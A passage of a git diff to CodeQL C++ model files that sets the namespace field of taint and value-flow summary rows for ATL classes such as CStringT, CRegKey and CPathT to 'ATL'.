-      - ["", "CPathT", True, "Combine", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CPathT", True, "Combine", "", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CPathT", True, "CommonPrefix", "", "", "Argument[*0]", "ReturnValue", "taint", "manual"]
-      - ["", "CPathT", True, "CommonPrefix", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CPathT", True, "GetExtension", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CPathT", True, "RelativePathTo", "", "", "Argument[*0]", "ReturnValue[-1]", "taint", "manual"]
-      - ["", "CPathT", True, "RelativePathTo", "", "", "Argument[*2]", "ReturnValue[-1]", "taint", "manual"]
-      - ["", "CPathT", True, "RenameExtension", "", "", "Argument[*0]", "ReturnValue[-1]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "CPathT", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CPathT", True, "AddExtension", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "Append", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "Combine", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "Combine", "", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "CommonPrefix", "", "", "Argument[*0]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CPathT", True, "CommonPrefix", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CPathT", True, "GetExtension", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "RelativePathTo", "", "", "Argument[*0]", "ReturnValue[-1]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "RelativePathTo", "", "", "Argument[*2]", "ReturnValue[-1]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "RenameExtension", "", "", "Argument[*0]", "ReturnValue[-1]", "taint", "manual"]
       # Note: These don't work currently since we cannot use the template parameter in the name of the function
-      # - ["", "CPathT<T>", True, "operator const T &", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      # - ["", "CPathT<T>", True, "operator T &", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CPathT", True, "operator PCXSTR", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CPathT", True, "operator+=", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CPathT", True, "operator+=", "", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CPathT", True, "operator+=", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      # - ["ATL", "CPathT<T>", True, "operator const T &", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      # - ["ATL", "CPathT<T>", True, "operator T &", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CPathT", True, "operator PCXSTR", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CPathT", True, "operator+=", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "operator+=", "", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CPathT", True, "operator+=", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
diff --git a/cpp/ql/lib/ext/CRegKey.model.yml b/cpp/ql/lib/ext/CRegKey.model.yml
index 1cf2a7d67733..b601cabefd8d 100644
--- a/cpp/ql/lib/ext/CRegKey.model.yml
+++ b/cpp/ql/lib/ext/CRegKey.model.yml
@@ -3,18 +3,18 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CRegKey", True, "CRegKey", "(CRegKey &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CRegKey", True, "CRegKey", "(HKEY)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CRegKey", True, "Create", "", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CRegKey", True, "Attach", "", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CRegKey", True, "QueryBinaryValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
-      - ["", "CRegKey", True, "QueryDWORDValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
-      - ["", "CRegKey", True, "QueryMultiStringValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
-      - ["", "CRegKey", True, "QueryQWORDValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
-      - ["", "CRegKey", True, "QueryStringValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
-      - ["", "CRegKey", True, "QueryValue", "(LPCTSTR,DWORD *,void *,ULONG *)", "", "Argument[*0]", "Argument[*2]", "taint", "manual"]
-      - ["", "CRegKey", True, "QueryValue", "(DWORD &,LPCTSTR)", "", "Argument[*1]", "Argument[*0]", "taint", "manual"]
-      - ["", "CRegKey", True, "QueryValue", "(LPTSTR,LPCTSTR,DWORD *)", "", "Argument[*1]", "Argument[*0]", "taint", "manual"]
-      - ["", "CRegKey", True, "operator HKEY", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CRegKey", True, "operator=", "", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CRegKey", True, "operator=", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
\ No newline at end of file
+      - ["ATL", "CRegKey", True, "CRegKey", "(CRegKey &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CRegKey", True, "CRegKey", "(HKEY)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "Create", "", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "Attach", "", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "QueryBinaryValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "QueryDWORDValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "QueryMultiStringValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "QueryQWORDValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "QueryStringValue", "", "", "Argument[*0]", "Argument[*1]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "QueryValue", "(LPCTSTR,DWORD *,void *,ULONG *)", "", "Argument[*0]", "Argument[*2]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "QueryValue", "(DWORD &,LPCTSTR)", "", "Argument[*1]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "QueryValue", "(LPTSTR,LPCTSTR,DWORD *)", "", "Argument[*1]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "operator HKEY", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CRegKey", True, "operator=", "", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CRegKey", True, "operator=", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/ext/CSimpleArray.model.yml b/cpp/ql/lib/ext/CSimpleArray.model.yml
index 8daae929651e..d662b7afe2a1 100644
--- a/cpp/ql/lib/ext/CSimpleArray.model.yml
+++ b/cpp/ql/lib/ext/CSimpleArray.model.yml
@@ -3,10 +3,10 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CSimpleArray", True, "CSimpleArray", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CSimpleArray", True, "Add", "", "", "Argument[*0]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CSimpleArray", True, "GetData", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CSimpleArray", True, "SetAtIndex", "", "", "Argument[*1]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CSimpleArray", True, "operator[]", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CSimpleArray", True, "operator=", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CSimpleArray", True, "operator=", "", "", "Argument[*0].Element[@]", "ReturnValue[*].Element[@]", "value", "manual"]
\ No newline at end of file
+      - ["ATL", "CSimpleArray", True, "CSimpleArray", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleArray", True, "Add", "", "", "Argument[*0]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleArray", True, "GetData", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CSimpleArray", True, "SetAtIndex", "", "", "Argument[*1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleArray", True, "operator[]", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CSimpleArray", True, "operator=", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleArray", True, "operator=", "", "", "Argument[*0].Element[@]", "ReturnValue[*].Element[@]", "value", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/ext/CSimpleMap.model.yml b/cpp/ql/lib/ext/CSimpleMap.model.yml
index 1d9422a05611..9558cad0caa5 100644
--- a/cpp/ql/lib/ext/CSimpleMap.model.yml
+++ b/cpp/ql/lib/ext/CSimpleMap.model.yml
@@ -3,11 +3,11 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CSimpleMap", True, "Add", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CSimpleMap", True, "GetValueAt", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CSimpleMap", True, "Lookup", "", "", "Argument[-1].Element[@]", "ReturnValue.Element[@]", "value", "manual"]
-      - ["", "CSimpleMap", True, "SetAt", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CSimpleMap", True, "SetAtIndex", "", "", "Argument[*@2]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CSimpleMap", True, "operator[]", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
-      - ["", "CSimpleMap", True, "operator=", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
-      - ["", "CSimpleMap", True, "operator=", "", "", "Argument[*0].Element[@]", "ReturnValue[*].Element[@]", "value", "manual"]
\ No newline at end of file
+      - ["ATL", "CSimpleMap", True, "Add", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleMap", True, "GetValueAt", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CSimpleMap", True, "Lookup", "", "", "Argument[-1].Element[@]", "ReturnValue.Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleMap", True, "SetAt", "", "", "Argument[*@1]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleMap", True, "SetAtIndex", "", "", "Argument[*@2]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleMap", True, "operator[]", "", "", "Argument[-1].Element[@]", "ReturnValue[*@]", "value", "manual"]
+      - ["ATL", "CSimpleMap", True, "operator=", "", "", "Argument[*0].Element[@]", "Argument[-1].Element[@]", "value", "manual"]
+      - ["ATL", "CSimpleMap", True, "operator=", "", "", "Argument[*0].Element[@]", "ReturnValue[*].Element[@]", "value", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/ext/CSimpleStringT.model.yml b/cpp/ql/lib/ext/CSimpleStringT.model.yml
index 9902e5b60007..9554103994e6 100644
--- a/cpp/ql/lib/ext/CSimpleStringT.model.yml
+++ b/cpp/ql/lib/ext/CSimpleStringT.model.yml
@@ -3,40 +3,40 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # TODO this model can be improved a lot once we have MapKey content # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CSimpleStringT", True, "CSimpleStringT", "(const XCHAR *,int,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "CSimpleStringT", "(PCXSTR,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "CSimpleStringT", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "Append", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "AppendChar", "", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "CopyChars", "(XCHAR *,const XCHAR *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "CopyChars", "(XCHAR *,size_t,const XCHAR *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "CopyCharsOverlapped", "(XCHAR *,const XCHAR *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "GetString", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "LockBuffer", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "SetAt", "", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "SetString", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "operator PCXSTR", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "operator[]", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(PCXSTR)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(PCXSTR)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(PCXSTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(const CStaticString &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(const CStaticString &)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(const CStaticString &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(char)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(char)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(unsigned char)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(unsigned char)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(unsigned char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(wchar_t)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(wchar_t)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator+=", "(wchar_t)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "operator=", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "operator=", "", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "GetAt", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CSimpleStringT", True, "GetBuffer", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CSimpleStringT", True, "GetBufferSetLength", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
\ No newline at end of file
+      - ["ATL", "CSimpleStringT", True, "CSimpleStringT", "(const XCHAR *,int,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "CSimpleStringT", "(PCXSTR,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "CSimpleStringT", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "Append", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "AppendChar", "", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "CopyChars", "(XCHAR *,const XCHAR *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "CopyChars", "(XCHAR *,size_t,const XCHAR *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "CopyCharsOverlapped", "(XCHAR *,const XCHAR *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "GetString", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "LockBuffer", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "SetAt", "", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "SetString", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator PCXSTR", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator[]", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(PCXSTR)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(PCXSTR)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(PCXSTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(const CStaticString &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(const CStaticString &)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(const CStaticString &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(char)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(char)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(unsigned char)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(unsigned char)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(unsigned char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(wchar_t)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(wchar_t)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator+=", "(wchar_t)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator=", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "operator=", "", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "GetAt", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CSimpleStringT", True, "GetBuffer", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CSimpleStringT", True, "GetBufferSetLength", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/ext/CStrBufT.model.yml b/cpp/ql/lib/ext/CStrBufT.model.yml
index a8abace32e60..9c915e6c3076 100644
--- a/cpp/ql/lib/ext/CStrBufT.model.yml
+++ b/cpp/ql/lib/ext/CStrBufT.model.yml
@@ -3,6 +3,6 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data:
-      - ["", "CStrBufT", True, "CStrBufT", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStrBufT", True, "operator PCXSTR", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStrBufT", True, "operator PXSTR", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStrBufT", True, "CStrBufT", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStrBufT", True, "operator PCXSTR", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStrBufT", True, "operator PXSTR", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
diff --git a/cpp/ql/lib/ext/CStringData.model.yml b/cpp/ql/lib/ext/CStringData.model.yml
index 6cf0d610cb7a..d5044135fb88 100644
--- a/cpp/ql/lib/ext/CStringData.model.yml
+++ b/cpp/ql/lib/ext/CStringData.model.yml
@@ -3,4 +3,4 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data:
-      - ["", "CStringData", True, "data", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringData", True, "data", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
diff --git a/cpp/ql/lib/ext/CStringT.model.yml b/cpp/ql/lib/ext/CStringT.model.yml
index 0a8b89e03fb9..c416a41226f0 100644
--- a/cpp/ql/lib/ext/CStringT.model.yml
+++ b/cpp/ql/lib/ext/CStringT.model.yml
@@ -3,116 +3,116 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # TODO this model can be improved a lot once we have MapKey content # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CStringT", True, "CStringT", "(const VARIANT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const VARIANT &,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const CStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const XCHAR *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const YCHAR *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(LPCSTR,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(LPCWSTR,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const unsigned char *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(char *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(unsigned char *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(wchar_t *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const unsigned char *,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(char,int)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "CStringT", "(wchar_t,int)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const XCHAR *,int)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const YCHAR *,int)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const XCHAR *,int,AtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "CStringT", "(const YCHAR *,int,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "AllocSysString", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStringT", True, "AppendFormat", "(PCXSTR,...)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "AppendFormat", "(PCXSTR,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "AppendFormat", "(PCXSTR,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "AppendFormat", "(UINT,...)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "AppendFormat", "(UINT,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "AppendFormat", "(UINT,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Format", "(PCXSTR,...)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Format", "(PCXSTR,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Format", "(PCXSTR,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Format", "(UINT,...)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Format", "(UINT,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Format", "(UINT,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatMessage", "(PCXSTR,...)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatMessage", "(PCXSTR,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatMessage", "(PCXSTR,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatMessage", "(UINT,...)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatMessage", "(UINT,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatMessage", "(UINT,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatMessageV", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatMessageV", "", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatV", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "FormatV", "", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
